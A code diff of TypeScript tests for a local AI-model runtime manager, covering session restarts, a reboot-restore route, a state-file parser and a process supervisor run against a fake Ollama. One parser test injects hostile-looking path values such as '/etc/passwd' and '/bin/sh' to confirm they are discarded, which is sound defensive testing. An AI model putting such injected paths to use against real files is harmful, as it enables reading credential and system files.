await expect(session.restartCli()).rejects.toThrow(/Only Qwen3\.6 35B-A3B is installed on this Mac|not running/);
|
||||
await internals.discardPartiallyBuiltSession(session.id).catch(() => {});
|
||||
});
|
||||
|
||||
it('a session on another endpoint, and one without a selection, start as before', async () => {
|
||||
writeInstalledState();
|
||||
const other = await wired({ ...SELECTION, endpointId: 'office-gpu' });
|
||||
expect(await other.session.restartCli()).toBe(true);
|
||||
await internals.discardPartiallyBuiltSession(other.session.id).catch(() => {});
|
||||
const plain = await wired();
|
||||
expect(await plain.session.restartCli()).toBe(true);
|
||||
await internals.discardPartiallyBuiltSession(plain.session.id).catch(() => {});
|
||||
});
|
||||
|
||||
it('a selection made AFTER the listeners were wired is asked about too', async () => {
|
||||
writeInstalledState();
|
||||
const { session, respawn } = await wired();
|
||||
session.setCustomModel(SELECTION, {});
|
||||
await expect(session.restartCli()).rejects.toThrow(NOT_RUNNING);
|
||||
expect(respawn).not.toHaveBeenCalled();
|
||||
await internals.discardPartiallyBuiltSession(session.id).catch(() => {});
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/reboot-restore/restore: a session that ran on the managed endpoint', () => {
|
||||
async function harness(ctx: ReturnType<typeof createMockRouteContext>): Promise<FastifyInstance> {
|
||||
const app = Fastify({ logger: false });
|
||||
await app.register(fastifyCookie);
|
||||
registerRebootRestoreRoutes(app, ctx as never);
|
||||
app.addHook('preSerialization', (req, reply, payload: unknown, done) => {
|
||||
if (payload === null || typeof payload !== 'object') return done(null, payload);
|
||||
const p = payload as { success?: unknown; errorCode?: unknown };
|
||||
if (p.success === false) {
|
||||
if (reply.statusCode === 200 && typeof p.errorCode === 'string') {
|
||||
reply.code(httpStatusForErrorCode(p.errorCode as ApiErrorCode));
|
||||
}
|
||||
return done(null, payload);
|
||||
}
|
||||
if (p.success === true) return done(null, payload);
|
||||
return done(null, { success: true, data: payload });
|
||||
});
|
||||
installRouteErrorHandler(app);
|
||||
await app.ready();
|
||||
return app;
|
||||
}
|
||||
|
||||
/** An entry whose workspace exists, so only the model question can stop it. */
|
||||
function entryOn(endpointId: string): RebootRestoreEntry {
|
||||
mkdirSync(WORKSPACE, { recursive: true });
|
||||
return {
|
||||
sessionId: 'feedbeef00000001',
|
||||
name: 'w1-app',
|
||||
workingDir: WORKSPACE,
|
||||
mode: 'claude',
|
||||
resumeConversationId: 'conv-1',
|
||||
state: {
|
||||
id: 'feedbeef00000001',
|
||||
pid: null,
|
||||
status: 'idle',
|
||||
workingDir: WORKSPACE,
|
||||
currentTaskId: null,
|
||||
createdAt: 1_760_000_000_000,
|
||||
mode: 'claude',
|
||||
__customModel: { endpointId, modelId: 'qwen3.6:35b-a3b', envKeys: [] },
|
||||
} as unknown as SessionState,
|
||||
};
|
||||
}
|
||||
|
||||
it('is not rebuilt while the model cannot be started on, says why, and stays on offer', async () => {
|
||||
vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
writeInstalledState();
|
||||
rebootRestoreRegistry.set([entryOn('local-ollama')]);
|
||||
const ctx = createMockRouteContext();
|
||||
const app = await harness(ctx);
|
||||
const body = (await app.inject({ method: 'POST', url: '/api/reboot-restore/restore', payload: {} })).json().data;
|
||||
expect(body.restored).toEqual([]);
|
||||
expect(body.skipped).toEqual([{ sessionId: 'feedbeef00000001', reason: 'local-model-not-ready' }]);
|
||||
// Nothing was built: no session was added, so there is nothing to discard.
|
||||
expect(ctx.addSession).not.toHaveBeenCalled();
|
||||
// The model can be started and the click repeated.
|
||||
const left = (await app.inject({ method: 'GET', url: '/api/reboot-restore' })).json().data;
|
||||
expect(left.sessions.map((s: { id: string }) => s.id)).toEqual(['feedbeef00000001']);
|
||||
await app.close();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,270 @@
|
||||
/**
|
||||
* @fileoverview The one reader and writer of `local-model.json` (src/local-model/state-store.ts).
|
||||
*
|
||||
* What is pinned:
|
||||
* - reading is TOTAL: a missing file, text that does not parse, another schema, an unknown
|
||||
* state and a state that lacks a member it needs all read as idle, and a member of the
|
||||
* wrong type is dropped rather than trusted;
|
||||
* - the file holds no path, so nothing in it can point a delete anywhere;
|
||||
* - writes are serialized, go through a temp file, are mode 0600 and stamp `updatedAt`.
|
||||
*
|
||||
* Port: N/A (no server; the file lives in the test's temp data dir).
|
||||
*/
|
||||
import { afterEach, describe, expect, it } from 'vitest';
|
||||
import { existsSync, readdirSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs';
|
||||
import { dirname } from 'node:path';
|
||||
import { dataPath } from '../src/config/instance.js';
|
||||
import {
|
||||
IDLE_LOCAL_MODEL_STATE,
|
||||
mutateLocalModelState,
|
||||
parseLocalModelState,
|
||||
readLocalModelState,
|
||||
} from '../src/local-model/state-store.js';
|
||||
import type { LocalModelStateFile } from '../src/types.js';
|
||||
|
||||
const FILE = () => dataPath('local-model.json');
|
||||
|
||||
const INSTALLED: LocalModelStateFile = {
|
||||
schema: 1,
|
||||
state: 'installed',
|
||||
model: {
|
||||
id: 'qwen3.6:35b-a3b',
|
||||
label: 'Qwen3.6 35B-A3B',
|
||||
context: 131072,
|
||||
pullBytes: 23_105_798_956,
|
||||
digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
|
||||
},
|
||||
cli: { id: 'opencode', label: 'OpenCode' },
|
||||
runtime: { version: '0.40.15', port: 11435, pid: 4711, enabled: true, measuredTotalBytes: 40_157_944_217 },
|
||||
loaded: { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 },
|
||||
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
|
||||
updatedAt: '2026-11-06T10:00:00.000Z',
|
||||
};
|
||||
|
||||
const PAUSED: LocalModelStateFile = {
|
||||
schema: 1,
|
||||
state: 'paused',
|
||||
step: 'model',
|
||||
steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
|
||||
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
|
||||
cli: { id: 'opencode', label: 'OpenCode' },
|
||||
runtime: { version: '0.40.15', port: 11435, enabled: true },
|
||||
progress: { completedBytes: 6_200_000_000, totalBytes: 23_105_798_956 },
|
||||
};
|
||||
|
||||
const FAILED: LocalModelStateFile = {
|
||||
...PAUSED,
|
||||
state: 'failed',
|
||||
step: 'verify',
|
||||
error: {
|
||||
code: 'no-tool-call',
|
||||
vars: { model: 'Qwen3.6 35B-A3B' },
|
||||
detail: 'finish_reason stop',
|
||||
nextModelId: 'gpt-oss:20b',
|
||||
},
|
||||
};
|
||||
|
||||
afterEach(() => {
|
||||
rmSync(FILE(), { force: true });
|
||||
});
|
||||
|
||||
describe('parseLocalModelState', () => {
|
||||
it('reads back exactly what a state of each kind holds', () => {
|
||||
for (const state of [INSTALLED, PAUSED, FAILED, { ...PAUSED, state: 'installing' as const }]) {
|
||||
expect(parseLocalModelState(JSON.stringify(state))).toEqual(state);
|
||||
}
|
||||
});
|
||||
|
||||
it.each([
|
||||
['an empty file', ''],
|
||||
['text that does not parse', '{"schema":1,"state":"installed",'],
|
||||
['a list', '[]'],
|
||||
['null', 'null'],
|
||||
['another schema', JSON.stringify({ ...INSTALLED, schema: 2 })],
|
||||
['no schema', JSON.stringify({ state: 'installed' })],
|
||||
['an unknown state', JSON.stringify({ ...INSTALLED, state: 'ready' })],
|
||||
['idle', JSON.stringify({ schema: 1, state: 'idle', model: INSTALLED.model })],
|
||||
['idle with everything a job has', JSON.stringify({ ...PAUSED, state: 'idle' })],
|
||||
['idle with everything an installation has', JSON.stringify({ ...INSTALLED, state: 'idle' })],
|
||||
])('%s reads as idle', (_label, raw) => {
|
||||
expect(parseLocalModelState(raw)).toBe(IDLE_LOCAL_MODEL_STATE);
|
||||
});
|
||||
|
||||
it('a state that lacks a member it needs is not trusted: it reads as idle', () => {
|
||||
const without = (state: LocalModelStateFile, key: keyof LocalModelStateFile) => {
|
||||
const copy: Record<string, unknown> = { ...state };
|
||||
delete copy[key];
|
||||
return JSON.stringify(copy);
|
||||
};
|
||||
// Installed needs its model, its coding agent and its runtime (the port).
|
||||
expect(parseLocalModelState(without(INSTALLED, 'model'))).toBe(IDLE_LOCAL_MODEL_STATE);
|
||||
expect(parseLocalModelState(without(INSTALLED, 'cli'))).toBe(IDLE_LOCAL_MODEL_STATE);
|
||||
expect(parseLocalModelState(without(INSTALLED, 'runtime'))).toBe(IDLE_LOCAL_MODEL_STATE);
|
||||
// A job needs its step and its steps, and a failed one its error.
|
||||
expect(parseLocalModelState(without(PAUSED, 'step'))).toBe(IDLE_LOCAL_MODEL_STATE);
|
||||
expect(parseLocalModelState(without(PAUSED, 'steps'))).toBe(IDLE_LOCAL_MODEL_STATE);
|
||||
expect(parseLocalModelState(without(FAILED, 'error'))).toBe(IDLE_LOCAL_MODEL_STATE);
|
||||
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, step: 'agent', steps: ['runtime', 'model'] }))).toBe(
|
||||
IDLE_LOCAL_MODEL_STATE
|
||||
);
|
||||
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, steps: ['runtime', 'model', 'model'] }))).toBe(
|
||||
IDLE_LOCAL_MODEL_STATE
|
||||
);
|
||||
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, steps: ['runtime', 'model', 'reboot'] }))).toBe(
|
||||
IDLE_LOCAL_MODEL_STATE
|
||||
);
|
||||
expect(parseLocalModelState(JSON.stringify({ ...FAILED, error: { code: 'made-up' } }))).toBe(
|
||||
IDLE_LOCAL_MODEL_STATE
|
||||
);
|
||||
});
|
||||
|
||||
it('drops a member of the wrong type instead of trusting it', () => {
|
||||
const parsed = parseLocalModelState(
|
||||
JSON.stringify({
|
||||
...INSTALLED,
|
||||
model: { ...INSTALLED.model, pullBytes: '23 GB', digest: 12 },
|
||||
runtime: { ...INSTALLED.runtime, pid: 'four', measuredTotalBytes: -1 },
|
||||
loaded: { context: 131072, sizeBytes: 'big', sizeVramBytes: 1 },
|
||||
connection: { endpointId: 'local-ollama', flagWasEnabled: 'no' },
|
||||
updatedAt: 5,
|
||||
})
|
||||
);
|
||||
expect(parsed).toEqual({
|
||||
schema: 1,
|
||||
state: 'installed',
|
||||
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
|
||||
cli: { id: 'opencode', label: 'OpenCode' },
|
||||
runtime: { version: '0.40.15', port: 11435, enabled: true },
|
||||
});
|
||||
});
|
||||
|
||||
it('a port that is not a port makes the runtime unknown', () => {
|
||||
for (const port of [0, 70_000, 11435.5, '11435', null]) {
|
||||
expect(
|
||||
parseLocalModelState(JSON.stringify({ ...PAUSED, runtime: { version: '0.40.15', port, enabled: true } }))
|
||||
).not.toHaveProperty('runtime');
|
||||
}
|
||||
});
|
||||
|
||||
it('only an explicit false switches the runtime off', () => {
|
||||
const enabled = (value: unknown) =>
|
||||
parseLocalModelState(
|
||||
JSON.stringify({ ...INSTALLED, runtime: { version: '0.40.15', port: 11435, enabled: value } })
|
||||
).runtime?.enabled;
|
||||
expect(enabled(false)).toBe(false);
|
||||
expect(enabled(true)).toBe(true);
|
||||
expect(enabled(undefined)).toBe(true);
|
||||
expect(enabled('false')).toBe(true);
|
||||
});
|
||||
|
||||
it('drops members it does not know, at every level: a state file holds no path', () => {
|
||||
const parsed = parseLocalModelState(
|
||||
JSON.stringify({
|
||||
...INSTALLED,
|
||||
root: '/Users/me',
|
||||
runtimeDir: '/',
|
||||
model: { ...INSTALLED.model, path: '/etc' },
|
||||
runtime: { ...INSTALLED.runtime, binary: '/bin/sh' },
|
||||
connection: { ...INSTALLED.connection, file: '/etc/passwd' },
|
||||
})
|
||||
);
|
||||
expect(parsed).toEqual(INSTALLED);
|
||||
expect(JSON.stringify(parsed)).not.toContain('/');
|
||||
});
|
||||
|
||||
it('keeps the model a replaced job left behind on a job, and never on an installed state', () => {
|
||||
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, replacedModelId: 'qwen3.8:27b' })).replacedModelId).toBe(
|
||||
'qwen3.8:27b'
|
||||
);
|
||||
expect(parseLocalModelState(JSON.stringify({ ...INSTALLED, replacedModelId: 'qwen3.8:27b' }))).not.toHaveProperty(
|
||||
'replacedModelId'
|
||||
);
|
||||
});
|
||||
|
||||
it('an error is kept only on a failed job, and progress and a step only on a job', () => {
|
||||
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, error: FAILED.error }))).not.toHaveProperty('error');
|
||||
const installed = parseLocalModelState(
|
||||
JSON.stringify({
|
||||
...INSTALLED,
|
||||
error: FAILED.error,
|
||||
step: 'connect',
|
||||
steps: PAUSED.steps,
|
||||
progress: PAUSED.progress,
|
||||
})
|
||||
);
|
||||
expect(installed).toEqual(INSTALLED);
|
||||
});
|
||||
});
|
||||
|
||||
describe('readLocalModelState', () => {
|
||||
it('is idle when the file is missing, and never throws', async () => {
|
||||
expect(existsSync(FILE())).toBe(false);
|
||||
expect(await readLocalModelState()).toBe(IDLE_LOCAL_MODEL_STATE);
|
||||
});
|
||||
|
||||
it('is idle for a file that does not parse', async () => {
|
||||
writeFileSync(FILE(), 'not json');
|
||||
expect(await readLocalModelState()).toBe(IDLE_LOCAL_MODEL_STATE);
|
||||
});
|
||||
|
||||
it('reads what is stored', async () => {
|
||||
writeFileSync(FILE(), JSON.stringify(INSTALLED));
|
||||
expect(await readLocalModelState()).toEqual(INSTALLED);
|
||||
});
|
||||
});
|
||||
|
||||
describe('mutateLocalModelState', () => {
|
||||
it('writes the returned state, stamps updatedAt, and answers with before and after', async () => {
|
||||
const { updatedAt: _stamp, ...paused } = PAUSED;
|
||||
const { before, after } = await mutateLocalModelState(() => paused);
|
||||
expect(before).toBe(IDLE_LOCAL_MODEL_STATE);
|
||||
expect(after).toMatchObject(paused);
|
||||
expect(Number.isNaN(Date.parse(after!.updatedAt!))).toBe(false);
|
||||
expect(await readLocalModelState()).toEqual(after);
|
||||
});
|
||||
|
||||
it('writes nothing when the change returns undefined: no file appears', async () => {
|
||||
const { before, after } = await mutateLocalModelState(() => undefined);
|
||||
expect(before).toBe(IDLE_LOCAL_MODEL_STATE);
|
||||
expect(after).toBeUndefined();
|
||||
expect(existsSync(FILE())).toBe(false);
|
||||
});
|
||||
|
||||
it('the file is mode 0600 and no temp file is left beside it', async () => {
|
||||
await mutateLocalModelState(() => PAUSED);
|
||||
expect(statSync(FILE()).mode & 0o777).toBe(0o600);
|
||||
expect(readdirSync(dirname(FILE())).filter((name) => name.startsWith('local-model.json'))).toEqual([
|
||||
'local-model.json',
|
||||
]);
|
||||
});
|
||||
|
||||
it('changes started together run one after the other: none is lost', async () => {
|
||||
await mutateLocalModelState(() => PAUSED);
|
||||
const add = (bytes: number) =>
|
||||
mutateLocalModelState((current) => ({
|
||||
...current,
|
||||
progress: {
|
||||
completedBytes: (current.progress?.completedBytes ?? 0) + bytes,
|
||||
totalBytes: 23_105_798_956,
|
||||
},
|
||||
}));
|
||||
await Promise.all(Array.from({ length: 10 }, () => add(1_000)));
|
||||
expect((await readLocalModelState()).progress?.completedBytes).toBe(6_200_000_000 + 10_000);
|
||||
});
|
||||
|
||||
it('a change that throws rejects its own caller and the next one still runs', async () => {
|
||||
const thrown = mutateLocalModelState(() => {
|
||||
throw new Error('boom');
|
||||
});
|
||||
const next = mutateLocalModelState(() => PAUSED);
|
||||
await expect(thrown).rejects.toThrow('boom');
|
||||
expect((await next).after).toMatchObject({ state: 'paused' });
|
||||
});
|
||||
|
||||
it('replaces a file that does not parse: it holds nothing of the person to lose', async () => {
|
||||
writeFileSync(FILE(), '{broken');
|
||||
const { before } = await mutateLocalModelState(() => PAUSED);
|
||||
expect(before).toBe(IDLE_LOCAL_MODEL_STATE);
|
||||
expect(JSON.parse(readFileSync(FILE(), 'utf8'))).toMatchObject({ schema: 1, state: 'paused' });
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,905 @@
|
||||
/**
|
||||
* @fileoverview Tests for the supervisor of src/local-model/runtime.ts: how Codeman starts,
|
||||
* watches, restarts and stops its model runtime.
|
||||
*
|
||||
* Nothing real runs here. The child process is the fake of test/fixtures/fake-ollama.ts
|
||||
* (`fake.spawn`): "starting" it makes the fake listen on the port of `OLLAMA_HOST` and write
|
||||
* the runtime's start-up log, and killing it closes that listener.
|
||||
*
|
||||
* Pinned:
|
||||
* - Start: one non-detached child, `<runtime folder>/ollama serve`, with the allowlisted
|
||||
* environment; it is ready when `/api/version` answers the pinned version; the device total
|
||||
* of its log is reported as the measured budget.
|
||||
* - The port: a listener that is not ours is `port-in-use` and is never signalled; our own
|
||||
* orphan (the stored pid runs a binary under our runtime folder) is adopted when it holds a
|
||||
* loaded model at the wanted context, and replaced otherwise.
|
||||
* - A child that exits by itself is restarted at most 3 times, then given up.
|
||||
* - Stop: SIGTERM, and nothing is restarted afterwards.
|
||||
* - Under vitest nothing spawns unless the test injects it.
|
||||
*
|
||||
* Port: none fixed (each test reserves a free loopback port).
|
||||
*/
|
||||
|
||||
import { existsSync } from 'node:fs';
|
||||
import { rm } from 'node:fs/promises';
|
||||
import { createServer, type Server } from 'node:net';
|
||||
import type { ChildProcess, SpawnOptions } from 'node:child_process';
|
||||
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
|
||||
import { localModelPaths, runtimeBinaryForVersion, type LocalModelPaths } from '../src/local-model/paths.js';
|
||||
import {
|
||||
createRuntimeSupervisor,
|
||||
RUNTIME_MAX_RESTARTS,
|
||||
type RuntimeStatus,
|
||||
type RuntimeSupervisor,
|
||||
type RuntimeSupervisorDeps,
|
||||
} from '../src/local-model/runtime.js';
|
||||
import {
|
||||
createFakeOllama,
|
||||
FakeRuntimeChild,
|
||||
freeLoopbackPort,
|
||||
startFakeOllama,
|
||||
type FakeOllama,
|
||||
type FakeOllamaOptions,
|
||||
} from './fixtures/fake-ollama.js';
|
||||
|
||||
const CONTEXT = 131072;
|
||||
/** A pid of an "earlier server's" runtime. Above every real pid, like the fake's own. */
|
||||
const ORPHAN_PID = 9_800_000;
|
||||
|
||||
let paths: LocalModelPaths;
|
||||
let port: number;
|
||||
const fakes: FakeOllama[] = [];
|
||||
const supervisors: RuntimeSupervisor[] = [];
|
||||
const servers: Server[] = [];
|
||||
|
||||
beforeEach(async () => {
|
||||
paths = localModelPaths('0.40.15');
|
||||
port = await freeLoopbackPort();
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
for (const supervisor of supervisors.splice(0)) await supervisor.stop();
|
||||
for (const fake of fakes.splice(0)) await fake.close();
|
||||
for (const server of servers.splice(0)) await new Promise<void>((resolve) => server.close(() => resolve()));
|
||||
await rm(paths.root, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
/** A fake runtime that does not listen until it is "spawned". */
|
||||
function fakeRuntime(options: FakeOllamaOptions = {}): FakeOllama {
|
||||
const fake = createFakeOllama(options);
|
||||
fakes.push(fake);
|
||||
return fake;
|
||||
}
|
||||
|
||||
/** The children the fake has spawned so far. */
|
||||
function children(fake: FakeOllama): FakeRuntimeChild[] {
|
||||
return fake.state.children;
|
||||
}
|
||||
|
||||
interface Harness {
|
||||
supervisor: RuntimeSupervisor;
|
||||
/** Every status `onChange` was called with. */
|
||||
changes: RuntimeStatus[];
|
||||
/** Every wait the supervisor asked for. */
|
||||
waits: number[];
|
||||
/** Every signal sent to a pid that is not our child. */
|
||||
kills: [number, NodeJS.Signals][];
|
||||
}
|
||||
|
||||
/** A supervisor whose child is `fake`. Waits are instant unless a test passes its own `sleep`. */
|
||||
function supervise(fake: FakeOllama, overrides: Partial<RuntimeSupervisorDeps> = {}): Harness {
|
||||
const changes: RuntimeStatus[] = [];
|
||||
const waits: number[] = [];
|
||||
const kills: [number, NodeJS.Signals][] = [];
|
||||
const supervisor = createRuntimeSupervisor({
|
||||
spawn: fake.spawn,
|
||||
fetch,
|
||||
env: { PATH: '/usr/bin:/bin' },
|
||||
pin: fake.pin(),
|
||||
paths,
|
||||
sleep: async (ms) => {
|
||||
waits.push(ms);
|
||||
},
|
||||
commandOfPid: async () => undefined,
|
||||
kill: (pid, signal) => {
|
||||
kills.push([pid, signal]);
|
||||
},
|
||||
onChange: (status) => changes.push(status),
|
||||
startTimeoutMs: 3_000,
|
||||
budgetWaitMs: 500,
|
||||
...overrides,
|
||||
});
|
||||
supervisors.push(supervisor);
|
||||
return { supervisor, changes, waits, kills };
|
||||
}
|
||||
|
||||
/** Waits until `check()` is true. Fails the test when it never is. */
|
||||
async function until(check: () => boolean, what: string, timeoutMs = 3_000): Promise<void> {
|
||||
const deadline = Date.now() + timeoutMs;
|
||||
while (!check()) {
|
||||
if (Date.now() > deadline) throw new Error(`Timed out waiting for: ${what}`);
|
||||
await new Promise((resolve) => setTimeout(resolve, 5));
|
||||
}
|
||||
}
|
||||
|
||||
/** The command line `ps` would print for a runtime of ours. */
|
||||
function ownCommand(): string {
|
||||
return `${paths.binary} serve`;
|
||||
}
|
||||
|
||||
// ---------- Start ----------
|
||||
|
||||
describe('start', () => {
|
||||
it('starts one child, the runtime binary with "serve", and answers once it is up', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor } = supervise(fake);
|
||||
const result = await supervisor.start({ port, contextLength: CONTEXT });
|
||||
|
||||
expect(children(fake)).toHaveLength(1);
|
||||
const child = children(fake)[0];
|
||||
expect(child.command).toBe(paths.binary);
|
||||
expect(child.args).toEqual(['serve']);
|
||||
expect(result).toEqual({
|
||||
ok: true,
|
||||
pid: child.pid,
|
||||
port,
|
||||
orphan: 'none',
|
||||
// 37.4 GiB, read from the child's log line "inference compute".
|
||||
measuredTotalBytes: 40_157_944_217,
|
||||
});
|
||||
expect(supervisor.status()).toEqual({
|
||||
running: true,
|
||||
pid: child.pid,
|
||||
port,
|
||||
contextLength: CONTEXT,
|
||||
measuredTotalBytes: 40_157_944_217,
|
||||
restarts: 0,
|
||||
gaveUp: false,
|
||||
});
|
||||
expect(fake.port).toBe(port);
|
||||
});
|
||||
|
||||
it('starts the child non-detached, with pipes, in the private home', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const seen: SpawnOptions[] = [];
|
||||
const { supervisor } = supervise(fake, {
|
||||
spawn: (command, args, options) => {
|
||||
seen.push(options);
|
||||
return fake.spawn(command, args, options);
|
||||
},
|
||||
});
|
||||
await supervisor.start({ port, contextLength: CONTEXT });
|
||||
expect(seen).toHaveLength(1);
|
||||
expect(seen[0].detached).toBe(false);
|
||||
expect(seen[0].stdio).toEqual(['ignore', 'pipe', 'pipe']);
|
||||
expect(seen[0].cwd).toBe(paths.homeDir);
|
||||
expect(seen[0]).not.toHaveProperty('shell');
|
||||
// The folders it needs exist before it starts.
|
||||
expect(existsSync(paths.homeDir)).toBe(true);
|
||||
expect(existsSync(paths.modelsDir)).toBe(true);
|
||||
});
|
||||
|
||||
it('gives the child the allowlisted environment and nothing of the server beyond it', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor } = supervise(fake, {
|
||||
env: {
|
||||
PATH: '/usr/bin:/bin',
|
||||
HOME: '/Users/arkon',
|
||||
LANG: 'en_US.UTF-8',
|
||||
CODEMAN_PASSWORD: 'hunter2',
|
||||
CODEMAN_API_URL: 'http://127.0.0.1:3000',
|
||||
OLLAMA_ORIGINS: '*',
|
||||
OLLAMA_HOST: '0.0.0.0:11434',
|
||||
OLLAMA_KEEP_ALIVE: '-1',
|
||||
ANTHROPIC_API_KEY: 'sk-ant-secret',
|
||||
},
|
||||
});
|
||||
await supervisor.start({ port, contextLength: 65536 });
|
||||
expect(children(fake)[0].env).toEqual({
|
||||
PATH: '/usr/bin:/bin',
|
||||
LANG: 'en_US.UTF-8',
|
||||
HOME: paths.homeDir,
|
||||
OLLAMA_HOST: `127.0.0.1:${port}`,
|
||||
OLLAMA_MODELS: paths.modelsDir,
|
||||
OLLAMA_CONTEXT_LENGTH: '65536',
|
||||
OLLAMA_NO_CLOUD: '1',
|
||||
OLLAMA_KEEP_ALIVE: '10m',
|
||||
OLLAMA_NUM_PARALLEL: '1',
|
||||
OLLAMA_MAX_LOADED_MODELS: '1',
|
||||
});
|
||||
});
|
||||
|
||||
it('reads the budget the child logs, whatever the Mac', async () => {
|
||||
const fake = fakeRuntime({ spawn: { total: '11.8 GiB' } });
|
||||
const { supervisor } = supervise(fake);
|
||||
const result = await supervisor.start({ port, contextLength: CONTEXT });
|
||||
expect(result).toMatchObject({ ok: true, measuredTotalBytes: 12_670_153_523 });
|
||||
expect(supervisor.status().measuredTotalBytes).toBe(12_670_153_523);
|
||||
});
|
||||
|
||||
it('still starts when the child prints no budget line, and reports none', async () => {
|
||||
const fake = fakeRuntime({ spawn: { logsBudget: false } });
|
||||
const { supervisor } = supervise(fake, { budgetWaitMs: 60 });
|
||||
const result = await supervisor.start({ port, contextLength: CONTEXT });
|
||||
expect(result).toMatchObject({ ok: true, port });
|
||||
expect(result).not.toHaveProperty('measuredTotalBytes');
|
||||
expect(supervisor.status()).not.toHaveProperty('measuredTotalBytes');
|
||||
expect(supervisor.status().running).toBe(true);
|
||||
});
|
||||
|
||||
it('is idempotent: a child that already runs as asked is kept', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor } = supervise(fake);
|
||||
const first = await supervisor.start({ port, contextLength: CONTEXT });
|
||||
const second = await supervisor.start({ port, contextLength: CONTEXT });
|
||||
expect(second).toEqual(first);
|
||||
expect(children(fake)).toHaveLength(1);
|
||||
expect(children(fake)[0].signals).toEqual([]);
|
||||
});
|
||||
|
||||
it('replaces a child that runs with another context length', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor } = supervise(fake);
|
||||
await supervisor.start({ port, contextLength: CONTEXT });
|
||||
const result = await supervisor.start({ port, contextLength: 65536 });
|
||||
expect(result).toMatchObject({ ok: true, orphan: 'none' });
|
||||
expect(children(fake)).toHaveLength(2);
|
||||
// The first got SIGTERM; the second runs with the new context.
|
||||
expect(children(fake)[0].signals).toEqual(['SIGTERM']);
|
||||
expect(children(fake)[1].env.OLLAMA_CONTEXT_LENGTH).toBe('65536');
|
||||
expect(supervisor.status()).toMatchObject({ running: true, pid: children(fake)[1].pid, contextLength: 65536 });
|
||||
// Replacing on purpose is not a crash.
|
||||
expect(supervisor.status().restarts).toBe(0);
|
||||
});
|
||||
|
||||
it('runs two starts one after the other, never two children at once', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor } = supervise(fake);
|
||||
const [a, b] = await Promise.all([
|
||||
supervisor.start({ port, contextLength: CONTEXT }),
|
||||
supervisor.start({ port, contextLength: CONTEXT }),
|
||||
]);
|
||||
expect(a).toMatchObject({ ok: true });
|
||||
expect(b).toEqual(a);
|
||||
expect(children(fake)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('refuses a port or a context length that is none, without starting anything', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor } = supervise(fake);
|
||||
for (const bad of [0, -1, 70_000, 1.5, Number.NaN]) {
|
||||
expect(await supervisor.start({ port: bad, contextLength: CONTEXT }), String(bad)).toMatchObject({
|
||||
ok: false,
|
||||
code: 'runtime-start-failed',
|
||||
});
|
||||
}
|
||||
for (const bad of [0, -5, 1.5, Number.NaN]) {
|
||||
expect(await supervisor.start({ port, contextLength: bad }), String(bad)).toMatchObject({
|
||||
ok: false,
|
||||
code: 'runtime-start-failed',
|
||||
});
|
||||
}
|
||||
expect(children(fake)).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('tells its caller every change, and survives a caller that throws', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const seen: RuntimeStatus[] = [];
|
||||
const { supervisor } = supervise(fake, {
|
||||
onChange: (status) => {
|
||||
seen.push(status);
|
||||
throw new Error('the state file is read-only');
|
||||
},
|
||||
});
|
||||
const result = await supervisor.start({ port, contextLength: CONTEXT });
|
||||
expect(result).toMatchObject({ ok: true });
|
||||
// The caller stores pid and port from this.
|
||||
expect(seen.at(-1)).toMatchObject({ running: true, pid: children(fake)[0].pid, port, contextLength: CONTEXT });
|
||||
await supervisor.stop();
|
||||
expect(seen.at(-1)).toEqual({ running: false, restarts: 0, gaveUp: false });
|
||||
});
|
||||
|
||||
it('hands out a copy of its status', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor } = supervise(fake);
|
||||
await supervisor.start({ port, contextLength: CONTEXT });
|
||||
const status = supervisor.status();
|
||||
status.running = false;
|
||||
status.pid = 1;
|
||||
expect(supervisor.status()).toMatchObject({ running: true, pid: children(fake)[0].pid });
|
||||
});
|
||||
|
||||
it("writes no state file: storing pid and port is the caller's business", async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor } = supervise(fake);
|
||||
await supervisor.start({ port, contextLength: CONTEXT });
|
||||
await supervisor.stop();
|
||||
expect(existsSync(paths.stateFile)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
// ---------- A start that fails ----------
|
||||
|
||||
describe('a start that fails', () => {
|
||||
it('answers runtime-start-failed when the child never answers, and does not leave it running', async () => {
|
||||
const fake = fakeRuntime({ spawn: { neverListens: true } });
|
||||
const { supervisor } = supervise(fake, { startTimeoutMs: 150 });
|
||||
const result = await supervisor.start({ port, contextLength: CONTEXT });
|
||||
expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' });
|
||||
const detail = (result as { detail?: string }).detail ?? '';
|
||||
expect(detail).toContain('did not answer');
|
||||
// The last lines of its log are the detail.
|
||||
expect(detail).toContain('Listening on');
|
||||
expect(children(fake)).toHaveLength(1);
|
||||
expect(children(fake)[0].signals).toEqual(['SIGTERM']);
|
||||
expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false });
|
||||
});
|
||||
|
||||
